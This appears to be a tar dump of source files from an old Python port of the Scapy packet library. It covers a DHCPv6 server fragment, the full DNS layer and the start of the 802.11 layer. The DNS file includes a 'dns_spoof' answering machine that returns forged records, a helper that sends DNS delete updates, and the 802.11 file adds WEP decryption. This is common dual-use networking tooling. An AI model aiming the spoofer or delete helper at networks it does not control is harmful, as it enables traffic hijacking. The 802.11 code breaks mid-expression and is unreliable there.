p[DHCP6OptServerId].duid if (type(duid) != type(self.duid)): return False if bytes(duid) != bytes(self.duid): return False if (p.msgtype == 5 or # Renew p.msgtype == 8): # Release # XXX We do not reply to Renew or Release as we # XXX do not support address assignment return False elif p.msgtype == 9: # Decline # XXX We should check if we are tracking that client if not self.debug: return False bo = Color.bold g = Color.green + bo b = Color.blue + bo n = Color.normal r = Color.red vendor = in6_addrtovendor(src) if (vendor and vendor != "UNKNOWN"): vendor = " [" + b + vendor + n + "]" else: vendor = "" src = bo + src + n it = p addrs = [] while it: l = [] if isinstance(it, DHCP6OptIA_NA): l = it.ianaopts elif isinstance(it, DHCP6OptIA_TA): l = it.iataopts #opsaddr = filter(lambda x: isinstance(x, DHCP6OptIAAddress),l) opsaddr = [ x for x in l if isinstance(x, DHCP6OptIAAddress) ] a=map(lambda x: x.addr, opsaddr) addrs += a it = it.payload addrs = map(lambda x: bo + x + n, addrs) if debug: msg = r + "[DEBUG]" + n + " Received " + g + "Decline" + n msg += " from " + bo + src + vendor + " for " msg += ", ".join(addrs)+ n print(msg) # See sect 18.1.7 # Sent by a client to warn us she has determined # one or more addresses assigned to her is already # used on the link. # We should simply log that fact. No messaged should # be sent in return. # - Message must include a Server identifier option # - the content of the Server identifier option must # match the server's identifier # - the message must include a Client Identifier option return False elif p.msgtype == 11: # Information-Request if DHCP6OptServerId in p: duid = p[DHCP6OptServerId].duid if (type(duid) != type(self.duid)): return False if bytes(duid) != bytes(self.duid): return False if ((DHCP6OptIA_NA in p) or (DHCP6OptIA_TA in p) or (DHCP6OptIA_PD in p)): return False else: return False return True def print_reply(self, req, reply): def norm(s): if s.startswith("DHCPv6 "): s = s[7:] if s.endswith(" Message"): s = s[:-8] return s if reply is None: return bo = Color.bold g = Color.green + bo b = Color.blue + bo n = Color.normal reqtype = g + norm(req.getlayer(UDP).payload.name) + n reqsrc = req.getlayer(IPv6).src vendor = in6_addrtovendor(reqsrc) if (vendor and vendor != "UNKNOWN"): vendor = " [" + b + vendor + n + "]" else: vendor = "" reqsrc = bo + reqsrc + n reptype = g + norm(reply.getlayer(UDP).payload.name) + n print("Sent %s answering to %s from %s%s" % (reptype, reqtype, reqsrc, vendor)) def make_reply(self, req): req_mac_src = req.src req_mac_dst = req.dst p = req[IPv6] req_src = p.src req_dst = p.dst p = p.payload.payload msgtype = p.msgtype trid = p.trid if msgtype == 1: # SOLICIT (See Sect 17.1 and 17.2 of RFC 3315) # XXX We don't support address or prefix assignment # XXX We also do not support relay function --arno client_duid = p[DHCP6OptClientId].duid resp = IPv6(src=self.src_addr, dst=req_src) resp /= UDP(sport=547, dport=546) if p.haslayer(DHCP6OptRapidCommit): # construct a Reply packet resp /= DHCP6_Reply(trid=trid) resp /= DHCP6OptRapidCommit() # See 17.1.2 resp /= DHCP6OptServerId(duid = self.duid) resp /= DHCP6OptClientId(duid = client_duid) else: # No Rapid Commit in the packet. Reply with an Advertise if (p.haslayer(DHCP6OptIA_NA) or p.haslayer(DHCP6OptIA_TA)): # XXX We don't assign addresses at the moment msg = "Scapy6 dhcp6d does not support address assignment" resp /= DHCP6_Advertise(trid = trid) resp /= DHCP6OptStatusCode(statuscode=2, statusmsg=msg) resp /= DHCP6OptServerId(duid = self.duid) resp /= DHCP6OptClientId(duid = client_duid) elif p.haslayer(DHCP6OptIA_PD): # XXX We don't assign prefixes at the moment msg = "Scapy6 dhcp6d does not support prefix assignment" resp /= DHCP6_Advertise(trid = trid) resp /= DHCP6OptStatusCode(statuscode=6, statusmsg=msg) resp /= DHCP6OptServerId(duid = self.duid) resp /= DHCP6OptClientId(duid = client_duid) else: # Usual case, no request for prefixes or addresse resp /= DHCP6_Advertise(trid = trid) resp /= DHCP6OptPref(prefval = self.advpref) resp /= DHCP6OptServerId(duid = self.duid) resp /= DHCP6OptClientId(duid = client_duid) resp /= DHCP6OptReconfAccept() # See which options should be included reqopts = [] if p.haslayer(DHCP6OptOptReq): # add only asked ones reqopts = p[DHCP6OptOptReq].reqopts for o in self.dhcpv6_options.keys(): if o in reqopts: resp /= self.dhcpv6_options[o] else: # advertise everything we have available for o in self.dhcpv6_options.keys(): resp /= self.dhcpv6_options[o] return resp elif msgtype == 3: #REQUEST (INFO-REQUEST is further below) client_duid = p[DHCP6OptClientId].duid resp = IPv6(src=self.src_addr, dst=req_src) resp /= UDP(sport=547, dport=546) resp /= DHCP6_Solicit(trid=trid) resp /= DHCP6OptServerId(duid = self.duid) resp /= DHCP6OptClientId(duid = client_duid) # See which options should be included reqopts = [] if p.haslayer(DHCP6OptOptReq): # add only asked ones reqopts = p[DHCP6OptOptReq].reqopts for o in self.dhcpv6_options.keys(): if o in reqopts: resp /= self.dhcpv6_options[o] else: # advertise everything we have available. # Should not happen has clients MUST include # and ORO in requests (sec 18.1.1) -- arno for o in self.dhcpv6_options.keys(): resp /= self.dhcpv6_options[o] return resp elif msgtype == 4: # CONFIRM # see Sect 18.1.2 # Client want to check if addresses it was assigned # are still appropriate # Server must discard any Confirm messages that # do not include a Client Identifier option OR # THAT DO INCLUDE a Server Identifier Option # XXX we must discard the SOLICIT if it is received with # a unicast destination address pass elif msgtype == 5: # RENEW # see Sect 18.1.3 # Clients want to extend lifetime of assigned addresses # and update configuration parameters. This message is sent # specifically to the server that provided her the info # - Received message must include a Server Identifier # option. # - the content of server identifier option must match # the server's identifier. # - the message must include a Client identifier option pass elif msgtype == 6: # REBIND # see Sect 18.1.4 # Same purpose as the Renew message but sent to any # available server after he received no response # to its previous Renew message. # - Message must include a Client Identifier Option # - Message can't include a Server identifier option # XXX we must discard the SOLICIT if it is received with # a unicast destination address pass elif msgtype == 8: # RELEASE # See section 18.1.6 # Message is sent to the server to indicate that # she will no longer use the addresses that was assigned # We should parse the message and verify our dictionary # to log that fact. # - The message must include a server identifier option # - The content of the Server Identifier option must # match the server's identifier # - the message must include a Client Identifier option pass elif msgtype == 9: # DECLINE # See section 18.1.7 pass elif msgtype == 11: # INFO-REQUEST client_duid = None if not p.haslayer(DHCP6OptClientId): if self.debug: warning("Received Info Request message without Client Id option") else: client_duid = p[DHCP6OptClientId].duid resp = IPv6(src=self.src_addr, dst=req_src) resp /= UDP(sport=547, dport=546) resp /= DHCP6_Reply(trid=trid) resp /= DHCP6OptServerId(duid = self.duid) if client_duid: resp /= DHCP6OptClientId(duid = client_duid) # Stack requested options if available reqopts = [] if p.haslayer(DHCP6OptOptReq): reqopts = p[DHCP6OptOptReq].reqopts for o in self.dhcpv6_options.keys(): resp /= self.dhcpv6_options[o] return resp else: # what else ? pass # - We won't support reemission # - We won't support relay role, nor relay forwarded messages # at the beginning scapy-0.23/scapy/layers/dns.py000066400000000000000000000614701320561231000163320ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ DNS: Domain Name System. """ import socket,struct from scapy.packet import * from scapy.fields import * from scapy.ansmachine import * from scapy.layers.inet import IP, UDP, TCP from scapy.utils import str2bytes class DNSStrField(StrField): def h2i(self, pkt, x): if type(x) == str: x = x.encode('ascii') if x == b"": return b"." return x def i2m(self, pkt, x): if type(x) == str: x = x.encode('ascii') if x == b".": return b"\x00" x = [k[:63] for k in x.split(b".")] # Truncate chunks that cannot be encoded (more than 63 bytes..) x = map(lambda y: bytes([len(y)]) + y, x) x = b"".join(x) if x[-1] != 0: x += b"\x00" return x def getfield(self, pkt, s): n = b"" #if ord(s[0]) == 0: if (s[0]) == 0: return s[1:], b"." while 1: #l = ord(s[0]) l = (s[0]) s = s[1:] if not l: break if l & 0xc0: raise Scapy_Exception("DNS message can't be compressed at this point!") else: n += s[:l]+b"." s = s[l:] return s, n class DNSRRCountField(ShortField): holds_packets=1 def __init__(self, name, default, rr): ShortField.__init__(self, name, default) self.rr = rr def _countRR(self, pkt): x = getattr(pkt,self.rr) i = 0 while isinstance(x, DNSRR) or isinstance(x, DNSQR) or isdnssecRR(x): x = x.payload i += 1 return i def i2m(self, pkt, x): if x is None: x = self._countRR(pkt) return x def i2h(self, pkt, x): if x is None: x = self._countRR(pkt) return x def DNSgetstr(s,p): name = b"" q = 0 jpath = [p] while 1: if p >= len(s): warning("DNS RR prematured end (ofs=%i, len=%i)"%(p,len(s))) break #l = ord(s[p]) l = s[p] p += 1 if l & 0xc0: if not q: q = p+1 if p >= len(s): warning("DNS incomplete jump token at (ofs=%i)" % p) break p = ((l & 0x3f) << 8) + s[p] - 12 if p in jpath: warning("DNS decompression loop detected") break jpath.append(p) continue elif l > 0: name += s[p:p+l]+b"." p += l continue break if q: p = q return name,p class DNSRRField(StrField): holds_packets=1 def __init__(self, name, countfld, passon=1): StrField.__init__(self, name, None) self.countfld = countfld self.passon = passon def i2m(self, pkt, x): if x is None: return b"" return bytes(x) def decodeRR(self, name, s, p): ret = s[p:p+10] type,cls,ttl,rdlen = struct.unpack("!HHIH", ret) p += 10 rr = DNSRR(b"\x00"+ret+s[p:p+rdlen]) if type in [2, 3, 4, 5]: rr.rdata = DNSgetstr(s,p)[0] del(rr.rdlen) elif type in dnsRRdispatcher.keys(): rr = dnsRRdispatcher[type](b"\x00"+ret+s[p:p+rdlen]) else: del(rr.rdlen) p += rdlen rr.rrname = name return rr,p def getfield(self, pkt, s): if type(s) is tuple : s,p = s else: p = 0 ret = None c = getattr(pkt, self.countfld) if c > len(s): warning("wrong value: DNS.%s=%i" % (self.countfld,c)) return s,b"" while c: c -= 1 name,p = DNSgetstr(s,p) rr,p = self.decodeRR(name, s, p) if ret is None: ret = rr else: ret.add_payload(rr) if self.passon: return (s,p),ret else: return s[p:],ret class DNSQRField(DNSRRField): holds_packets=1 def decodeRR(self, name, s, p): ret = s[p:p+4] p += 4 rr = DNSQR(b"\x00"+ret) rr.qname = name return rr,p class RDataField(StrLenField): def m2i(self, pkt, s): family = None if pkt.type == 1: # A family = socket.AF_INET elif pkt.type == 12: # PTR s = DNSgetstr(s, 0)[0] elif pkt.type == 16: # TXT ret_s = b"" tmp_s = s # RDATA contains a list of strings, each are prepended with # a byte containing the size of the following string. while tmp_s: tmp_len = struct.unpack("!B", bytes([tmp_s[0]]))[0] + 1 if tmp_len > len(tmp_s): warning("DNS RR TXT prematured end of character-string (size=%i, remaining bytes=%i)" % (tmp_len, len(tmp_s))) ret_s += tmp_s[1:tmp_len] tmp_s = tmp_s[tmp_len:] s = ret_s elif pkt.type == 28: # AAAA family = socket.AF_INET6 if family is not None: s = inet_ntop(family, s) return s def i2m(self, pkt, s): if pkt.type == 1: # A if s: if type(s) is bytes: s = s.decode('ascii') s = inet_aton(s) elif pkt.type in [2,3,4,5]: # NS, MD, MF, CNAME s = b"".join(map(lambda x: bytes([len(x)]) + x, s.split(b"."))) #if ord(s[-1]): if s[-1]: s += b"\x00" elif pkt.type == 16: # TXT if s: ret_s = b"" # The initial string must be splitted into a list of strings # prepended with theirs sizes. while len(s) >= 255: ret_s += b"\xff" + s[:255] s = s[255:] # The remaining string is less than 255 bytes long if len(s): ret_s += struct.pack("!B", len(s)) + s s = ret_s elif pkt.type == 28: # AAAA if s: s = inet_pton(socket.AF_INET6, s.decode("utf-8")) return s class RDLenField(Field): def __init__(self, name): Field.__init__(self, name, None, "H") def i2m(self, pkt, x): if x is None: rdataf = pkt.get_field("rdata") x = len(rdataf.i2m(pkt, pkt.rdata)) return x def i2h(self, pkt, x): if x is None: rdataf = pkt.get_field("rdata") x = len(rdataf.i2m(pkt, pkt.rdata)) return x class DNS(Packet): name = "DNS" fields_desc = [ ConditionalField(ShortField("length", None), lambda pkt:isinstance(pkt.underlayer, TCP)), ShortField("id", 0), BitField("qr", 0, 1), BitEnumField("opcode", 0, 4, {0:"QUERY",1:"IQUERY",2:"STATUS"}), BitField("aa", 0, 1), BitField("tc", 0, 1), BitField("rd", 0, 1), BitField("ra", 0, 1), BitField("z", 0, 1), # AD and CD bits are defined in RFC 2535 BitField("ad", 0, 1), # Authentic Data BitField("cd", 0, 1), # Checking Disabled BitEnumField("rcode", 0, 4, {0:"ok", 1:"format-error", 2:"server-failure", 3:"name-error", 4:"not-implemented", 5:"refused"}), DNSRRCountField("qdcount", None, "qd"), DNSRRCountField("ancount", None, "an"), DNSRRCountField("nscount", None, "ns"), DNSRRCountField("arcount", None, "ar"), DNSQRField("qd", "qdcount"), DNSRRField("an", "ancount"), DNSRRField("ns", "nscount"), DNSRRField("ar", "arcount",0) ] def post_build(self, pkt, pay): if isinstance(self.underlayer, TCP) and self.length is None: l = len(pkt) - 2 pkt = struct.pack("!H", l) + pkt[2:] return pkt + pay else: return pkt + pay def answers(self, other): return (isinstance(other, DNS) and self.id == other.id and self.qr == 1 and other.qr == 0) def mysummary(self): type = ["Qry","Ans"][self.qr] name = "" if self.qr: type = "Ans" if self.ancount > 0 and isinstance(self.an, DNSRR): name = ' "%s"' % self.an.getstrval("rdata") else: type = "Qry" if self.qdcount > 0 and isinstance(self.qd, DNSQR): name = ' "%s"' % self.qd.getstrval("qname") return 'DNS %s%s ' % (type, name) dnstypes = { 0:"ANY", 255:"ALL", 1:"A", 2:"NS", 3:"MD", 4:"MF", 5:"CNAME", 6:"SOA", 7: "MB", 8:"MG", 9:"MR",10:"NULL",11:"WKS",12:"PTR",13:"HINFO",14:"MINFO",15:"MX",16:"TXT", 17:"RP",18:"AFSDB",28:"AAAA", 33:"SRV",38:"A6",39:"DNAME", 41:"OPT", 43:"DS", 46:"RRSIG", 47:"NSEC", 48:"DNSKEY", 50: "NSEC3", 51: "NSEC3PARAM", 32769:"DLV", 35:"NAPTR", 44:"SSHFP", 29:"LOC", 52:"TLSA"} dnsqtypes = {251:"IXFR",252:"AXFR",253:"MAILB",254:"MAILA",255:"ALL"} dnsqtypes.update(dnstypes) dnsclasses = {1: 'IN', 2: 'CS', 3: 'CH', 4: 'HS', 255: 'ANY'} class DNSQR(Packet): name = "DNS Question Record" show_indent=0 fields_desc = [ DNSStrField("qname",b""), ShortEnumField("qtype", 1, dnsqtypes), ShortEnumField("qclass", 1, dnsclasses) ] # RFC 2671 - Extension Mechanisms for DNS (EDNS0) class EDNS0TLV(Packet): name = "DNS EDNS0 TLV" fields_desc = [ ShortEnumField("optcode", 0, { 0: "Reserved", 1: "LLQ", 2: "UL", 3: "NSID", 4: "Reserved", 5: "PING" }), FieldLenField("optlen", None, "optdata", fmt="H"), StrLenField("optdata", b"", length_from=lambda pkt: pkt.optlen) ] def extract_padding(self, p): return b"", p class DNSRROPT(Packet): name = "DNS OPT Resource Record" fields_desc = [ DNSStrField("rrname",b""), ShortEnumField("type", 41, dnstypes), ShortField("rclass", 4096), ByteField("extrcode", 0), ByteField("version", 0), # version 0 means EDNS0 BitEnumField("z", 32768, 16, { 32768: "D0" }), # D0 means DNSSEC OK from RFC 3225 FieldLenField("rdlen", None, length_of="rdata", fmt="H"), PacketListField("rdata", [], EDNS0TLV, length_from=lambda pkt: pkt.rdlen) ] # RFC 4034 - Resource Records for the DNS Security Extensions # 09/2013 from http://www.iana.org/assignments/dns-sec-alg-numbers/dns-sec-alg-numbers.xhtml dnssecalgotypes = { 0:"Reserved", 1:"RSA/MD5", 2:"Diffie-Hellman", 3:"DSA/SHA-1", 4:"Reserved", 5:"RSA/SHA-1", 6:"DSA-NSEC3-SHA1", 7:"RSASHA1-NSEC3-SHA1", 8:"RSA/SHA-256", 9:"Reserved", 10:"RSA/SHA-512", 11:"Reserved", 12:"GOST R 34.10-2001", 13:"ECDSA Curve P-256 with SHA-256", 14: "ECDSA Curve P-384 with SHA-384", 252:"Reserved for Indirect Keys", 253:"Private algorithms - domain name", 254:"Private algorithms - OID", 255:"Reserved" } # 09/2013 from http://www.iana.org/assignments/ds-rr-types/ds-rr-types.xhtml dnssecdigesttypes = { 0:"Reserved", 1:"SHA-1", 2:"SHA-256", 3:"GOST R 34.11-94", 4:"SHA-384" } class TimeField(IntField): def any2i(self, pkt, x): if type(x) == str: import time, calendar t = time.strptime(x, "%Y%m%d%H%M%S") return int(calendar.timegm(t)) return x def i2repr(self, pkt, x): import time x = self.i2h(pkt, x) t = time.strftime("%Y%m%d%H%M%S", time.gmtime(x)) return "%s (%d)" % (t ,x) def bitmap2RRlist(bitmap): """ Decode the 'Type Bit Maps' field of the NSEC Resource Record into an integer list. """ # RFC 4034, 4.1.2. The Type Bit Maps Field RRlist = [] while bitmap: if len(bitmap) < 2: warning("bitmap too short (%i)" % len(bitmap)) return #window_block = ord(bitmap[0]) # window number window_block = (bitmap[0]) # window number offset = 256*window_block # offset of the Ressource Record #bitmap_len = ord(bitmap[0]) # length of the bitmap in bytes bitmap_len = (bitmap[1]) # length of the bitmap in bytes if bitmap_len <= 0 or bitmap_len > 32: warning("bitmap length is no valid (%i)" % bitmap_len) return tmp_bitmap = bitmap[2:2+bitmap_len] # Let's compare each bit of tmp_bitmap and compute the real RR value for b in range(len(tmp_bitmap)): v = 128 for i in range(8): #if ord(tmp_bitmap[b]) & v: if (tmp_bitmap[b]) & v: # each of the RR is encoded as a bit RRlist += [ offset + b*8 + i ] v = v >> 1 # Next block if any bitmap = bitmap[2+bitmap_len:] return RRlist def RRlist2bitmap(lst): """ Encode a list of integers representing Resource Records to a bitmap field used in the NSEC Resource Record. """ # RFC 4034, 4.1.2. The Type Bit Maps Field import math bitmap = b"" lst = list(set(lst)) lst.sort() #lst = filter(lambda x: x <= 65535, lst) #lst = map(lambda x: abs(x), lst) lst = [ abs(x) for x in lst if x<= 65535 ] # number of window blocks max_window_blocks = int(math.ceil(lst[-1] / 256.)) min_window_blocks = int(math.floor(lst[0] / 256.)) if min_window_blocks == max_window_blocks: max_window_blocks += 1 for wb in range(min_window_blocks, max_window_blocks+1): # First, filter out RR not encoded in the current window block # i.e. keep everything between 256*wb <= 256*(wb+1) #rrlist = filter(lambda x: 256*wb <= x and x < 256*(wb+1), lst) rrlist = [ x for x in lst if 256*wb <= x and x < 256*(wb+1) ] rrlist.sort() if rrlist == []: continue # Compute the number of bytes used to store the bitmap if rrlist[-1] == 0: # only one element in the list bs = 1 else: max = rrlist[-1] - 256*wb #bs = int(math.ceil(max / 8)) + 1 # use at least 1 byte bs = int(max // 8) + 1 # use at least 1 byte if bs > 32: # Don't encode more than 256 bits / values bs = 32 bitmap += struct.pack("B", wb) bitmap += struct.pack("B", bs) # Generate the bitmap for tmp in range(bs): v = 0 # Remove out of range Ressource Records #tmp_rrlist = filter(lambda x: 256*wb+8*tmp <= x and x < 256*wb+8*tmp+8, rrlist) tmp_rrlist = [ x for x in rrlist if 256*wb+8*tmp <= x and x < 256*wb+8*tmp+8 ] if not tmp_rrlist == []: # 1. rescale to fit into 8 bits tmp_rrlist = map(lambda x: (x-256*wb)-(tmp*8), tmp_rrlist) # 2. x gives the bit position ; compute the corresponding value tmp_rrlist = map(lambda x: 2**(7-x) , tmp_rrlist) # 3. sum everything #v = reduce(lambda x,y: x+y, tmp_rrlist) v = sum(tmp_rrlist) bitmap += struct.pack("B", v) return bitmap class RRlistField(StrField): def h2i(self, pkt, x): if type(x) == list: return RRlist2bitmap(x) return x def i2repr(self, pkt, x): x = self.i2h(pkt, x) rrlist = bitmap2RRlist(x) return [ dnstypes.get(rr, rr) for rr in rrlist ] class _DNSRRdummy(Packet): name = "Dummy class that implements post_build() for Ressource Records" def post_build(self, pkt, pay): if not self.rdlen == None: return pkt lrrname = len(self.fields_desc[0].i2m(b"", self.getfieldval("rrname"))) l = len(pkt) - lrrname - 10 pkt = pkt[:lrrname+8] + struct.pack("!H", l) + pkt[lrrname+8+2:] return pkt class DNSRRSOA(_DNSRRdummy): name = "DNS SOA Resource Record" fields_desc = [ DNSStrField("rrname",b""), ShortEnumField("type", 6, dnstypes), ShortEnumField("rclass", 1, dnsclasses), IntField("ttl", 0), ShortField("rdlen", None), DNSStrField("mname", b""), DNSStrField("rname", b""), IntField("serial", 0), IntField("refresh", 0), IntField("retry", 0), IntField("expire", 0), IntField("minimum", 0) ] class DNSRRRSIG(_DNSRRdummy): name = "DNS RRSIG Resource Record" fields_desc = [ DNSStrField("rrname",b""), ShortEnumField("type", 46, dnstypes), ShortEnumField("rclass", 1, dnsclasses), IntField("ttl", 0), ShortField("rdlen", None), ShortEnumField("typecovered", 1, dnstypes), ByteEnumField("algorithm", 5, dnssecalgotypes), ByteField("labels", 0), IntField("originalttl", 0), TimeField("expiration", 0), TimeField("inception", 0), ShortField("keytag", 0), DNSStrField("signersname", b""), StrField("signature", b"") ] class DNSRRNSEC(_DNSRRdummy): name = "DNS NSEC Resource Record" fields_desc = [ DNSStrField("rrname",b""), ShortEnumField("type", 47, dnstypes), ShortEnumField("rclass", 1, dnsclasses), IntField("ttl", 0), ShortField("rdlen", None), DNSStrField("nextname", b""), RRlistField("typebitmaps", b"") ] class DNSRRDNSKEY(_DNSRRdummy): name = "DNS DNSKEY Resource Record" fields_desc = [ DNSStrField("rrname",b""), ShortEnumField("type", 48, dnstypes), ShortEnumField("rclass", 1, dnsclasses), IntField("ttl", 0), ShortField("rdlen", None), FlagsField("flags", 256, 16, "S???????Z???????"), # S: Secure Entry Point # Z: Zone Key ByteField("protocol", 3), ByteEnumField("algorithm", 5, dnssecalgotypes), StrField("publickey", b"") ] class DNSRRDS(_DNSRRdummy): name = "DNS DS Resource Record" fields_desc = [ DNSStrField("rrname",b""), ShortEnumField("type", 43, dnstypes), ShortEnumField("rclass", 1, dnsclasses), IntField("ttl", 0), ShortField("rdlen", None), ShortField("keytag", 0), ByteEnumField("algorithm", 5, dnssecalgotypes), ByteEnumField("digesttype", 5, dnssecdigesttypes), StrField("digest", b"") ] # RFC 5074 - DNSSEC Lookaside Validation (DLV) class DNSRRDLV(DNSRRDS): name = "DNS DLV Resource Record" def __init__(self, *args, **kargs): DNSRRDS.__init__(self, *args, **kargs) if not kargs.get('type', 0): self.type = 32769 # RFC 5155 - DNS Security (DNSSEC) Hashed Authenticated Denial of Existence class DNSRRNSEC3(_DNSRRdummy): name = "DNS NSEC3 Resource Record" fields_desc = [ DNSStrField("rrname",b""), ShortEnumField("type", 50, dnstypes), ShortEnumField("rclass", 1, dnsclasses), IntField("ttl", 0), ShortField("rdlen", None), ByteField("hashalg", 0), BitEnumField("flags", 0, 8, {1:"Opt-Out"}), ShortField("iterations", 0), FieldLenField("saltlength", 0, fmt="!B", length_of="salt"), StrLenField("salt", b"", length_from=lambda x: x.saltlength), FieldLenField("hashlength", 0, fmt="!B", length_of="nexthashedownername"), StrLenField("nexthashedownername", b"", length_from=lambda x: x.hashlength), RRlistField("typebitmaps", b"") ] class DNSRRNSEC3PARAM(_DNSRRdummy): name = "DNS NSEC3PARAM Resource Record" fields_desc = [ DNSStrField("rrname",b""), ShortEnumField("type", 51, dnstypes), ShortEnumField("rclass", 1, dnsclasses), IntField("ttl", 0), ShortField("rdlen", None), ByteField("hashalg", 0), ByteField("flags", 0), ShortField("iterations", 0), FieldLenField("saltlength", 0, fmt="!B", length_of="salt"), StrLenField("salt", b"", length_from=lambda pkt: pkt.saltlength) ] dnssecclasses = [ DNSRROPT, DNSRRRSIG, DNSRRDLV, DNSRRDNSKEY, DNSRRNSEC, DNSRRDS, DNSRRNSEC3, DNSRRNSEC3PARAM ] def isdnssecRR(obj): list = [ isinstance (obj, cls) for cls in dnssecclasses ] ret = False for i in list: ret = ret or i return ret dnsRRdispatcher = { #6: DNSRRSOA, 41: DNSRROPT, # RFC 1671 43: DNSRRDS, # RFC 4034 46: DNSRRRSIG, # RFC 4034 47: DNSRRNSEC, # RFC 4034 48: DNSRRDNSKEY, # RFC 4034 50: DNSRRNSEC3, # RFC 5155 51: DNSRRNSEC3PARAM, # RFC 5155 32769: DNSRRDLV # RFC 4431 } class DNSRR(Packet): name = "DNS Resource Record" show_indent=0 fields_desc = [ DNSStrField("rrname",""), ShortEnumField("type", 1, dnstypes), ShortEnumField("rclass", 1, dnsclasses), IntField("ttl", 0), RDLenField("rdlen"), RDataField("rdata", "", length_from=lambda pkt:pkt.rdlen) ] bind_layers( UDP, DNS, dport=53) bind_layers( UDP, DNS, sport=53) bind_layers( TCP, DNS, dport=53) bind_layers( TCP, DNS, sport=53) @conf.commands.register def dyndns_add(nameserver, name, rdata, type="A", ttl=10): """Send a DNS add message to a nameserver for "name" to have a new "rdata" dyndns_add(nameserver, name, rdata, type="A", ttl=10) -> result code (0=ok) example: dyndns_add("ns1.toto.com", "dyn.toto.com", "127.0.0.1") RFC2136 """ zone = name[name.find(".")+1:] r=sr1(IP(dst=nameserver)/UDP()/DNS(opcode=5, qd=[DNSQR(qname=zone, qtype="SOA")], ns=[DNSRR(rrname=name, type="A", ttl=ttl, rdata=rdata)]), verbose=0, timeout=5) if r and r.haslayer(DNS): return r.getlayer(DNS).rcode else: return -1 @conf.commands.register def dyndns_del(nameserver, name, type="ALL", ttl=10): """Send a DNS delete message to a nameserver for "name" dyndns_del(nameserver, name, type="ANY", ttl=10) -> result code (0=ok) example: dyndns_del("ns1.toto.com", "dyn.toto.com") RFC2136 """ zone = name[name.find(".")+1:] r=sr1(IP(dst=nameserver)/UDP()/DNS(opcode=5, qd=[DNSQR(qname=zone, qtype="SOA")], ns=[DNSRR(rrname=name, type=type, rclass="ANY", ttl=0, rdata=b"")]), verbose=0, timeout=5) if r and r.haslayer(DNS): return r.getlayer(DNS).rcode else: return -1 class DNS_am(AnsweringMachine): function_name="dns_spoof" filter = "udp port 53" def parse_options(self, joker="192.168.1.1", match=None): if match is None: self.match = {} else: self.match = match self.joker=joker def is_request(self, req): return req.haslayer(DNS) and req.getlayer(DNS).qr == 0 def make_reply(self, req): ip = req.getlayer(IP) dns = req.getlayer(DNS) resp = IP(dst=ip.src, src=ip.dst)/UDP(dport=ip.sport,sport=ip.dport) rdata = self.match.get(dns.qd.qname, self.joker) resp /= DNS(id=dns.id, qr=1, qd=dns.qd, an=DNSRR(rrname=dns.qd.qname, ttl=10, rdata=rdata)) return resp scapy-0.23/scapy/layers/dot11.py000066400000000000000000000666351320561231000165060ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Wireless LAN according to IEEE 802.11. """ import re,struct from scapy.packet import * from scapy.fields import * from scapy.plist import PacketList from scapy.layers.l2 import * try: from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives.ciphers import ( Cipher, algorithms, ) except ImportError: log_loading.info("Can't import python cryptography lib. Won't be able to decrypt WEP.") ### Fields class Dot11AddrMACField(MACField): def is_applicable(self, pkt): return 1 def addfield(self, pkt, s, val): if self.is_applicable(pkt): return MACField.addfield(self, pkt, s, val) else: return s def getfield(self, pkt, s): if self.is_applicable(pkt): return MACField.getfield(self, pkt, s) else: return s,None class Dot11Addr2MACField(Dot11AddrMACField): def is_applicable(self, pkt): if pkt.type == 1: return pkt.subtype in [ 0xb, 0xa, 0xe, 0xf, 0x9, 0x8 ] # RTS, PS-Poll, CF-End, CF-End+CF-Ack, BACK, BAR return 1 class Dot11Addr3MACField(Dot11AddrMACField): def is_applicable(self, pkt): if pkt.type in [0,2]: return 1 return 0 class Dot11Addr4MACField(Dot11AddrMACField): def is_applicable(self, pkt): if pkt.type == 2: if pkt.FCfield & 0x3 == 0x3: # To-DS and From-DS are set return 1 return 0 ### Layers class PrismHeader(Packet): """ iwpriv wlan0 monitor 3 """ name = "Prism header" fields_desc = [ LEIntField("msgcode",68), LEIntField("len",144), StrFixedLenField("dev","",16), LEIntField("hosttime_did",0), LEShortField("hosttime_status",0), LEShortField("hosttime_len",0), LEIntField("hosttime",0), LEIntField("mactime_did",0), LEShortField("mactime_status",0), LEShortField("mactime_len",0), LEIntField("mactime",0), LEIntField("channel_did",0), LEShortField("channel_status",0), LEShortField("channel_len",0), LEIntField("channel",0), LEIntField("rssi_did",0), LEShortField("rssi_status",0), LEShortField("rssi_len",0), LEIntField("rssi",0), LEIntField("sq_did",0), LEShortField("sq_status",0), LEShortField("sq_len",0), LEIntField("sq",0), LEIntField("signal_did",0), LEShortField("signal_status",0), LEShortField("signal_len",0), LESignedIntField("signal",0), LEIntField("noise_did",0), LEShortField("noise_status",0), LEShortField("noise_len",0), LEIntField("noise",0), LEIntField("rate_did",0), LEShortField("rate_status",0), LEShortField("rate_len",0), LEIntField("rate",0), LEIntField("istx_did",0), LEShortField("istx_status",0), LEShortField("istx_len",0), LEIntField("istx",0), LEIntField("frmlen_did",0), LEShortField("frmlen_status",0), LEShortField("frmlen_len",0), LEIntField("frmlen",0), ] def answers(self, other): if isinstance(other, PrismHeader): return self.payload.answers(other.payload) else: return self.payload.answers(other) class RadioTap(Packet): name = "RadioTap dummy" fields_desc = [ ByteField('version', 0), ByteField('pad', 0), FieldLenField('len', None, 'notdecoded', ' %Dot11.addr1%") def guess_payload_class(self, payload): if self.type == 0x02 and (self.subtype >= 0x08 and self.subtype <=0xF and self.subtype != 0xD): if self.subtype == 12: return Dot11QoSNULL return Dot11QoS elif self.FCfield & 0x40: return Dot11WEP else: return Packet.guess_payload_class(self, payload) def answers(self, other): if isinstance(other,Dot11): if self.type == 0: # management if self.addr1.lower() != other.addr2.lower(): # check resp DA w/ req SA return 0 if (other.subtype,self.subtype) in [(0,1),(2,3),(4,5)]: return 1 if self.subtype == other.subtype == 11: # auth return self.payload.answers(other.payload) elif self.type == 1: # control return 0 elif self.type == 2: # data return self.payload.answers(other.payload) elif self.type == 3: # reserved return 0 return 0 def unwep(self, key=None, warn=1): if self.FCfield & 0x40 == 0: if warn: warning("No WEP to remove") return if isinstance(self.payload.payload, NoPayload): if key or conf.wepkey: self.payload.decrypt(key) if isinstance(self.payload.payload, NoPayload): if warn: warning("Dot11 can't be decrypted. Check conf.wepkey.") return self.FCfield &= ~0x40 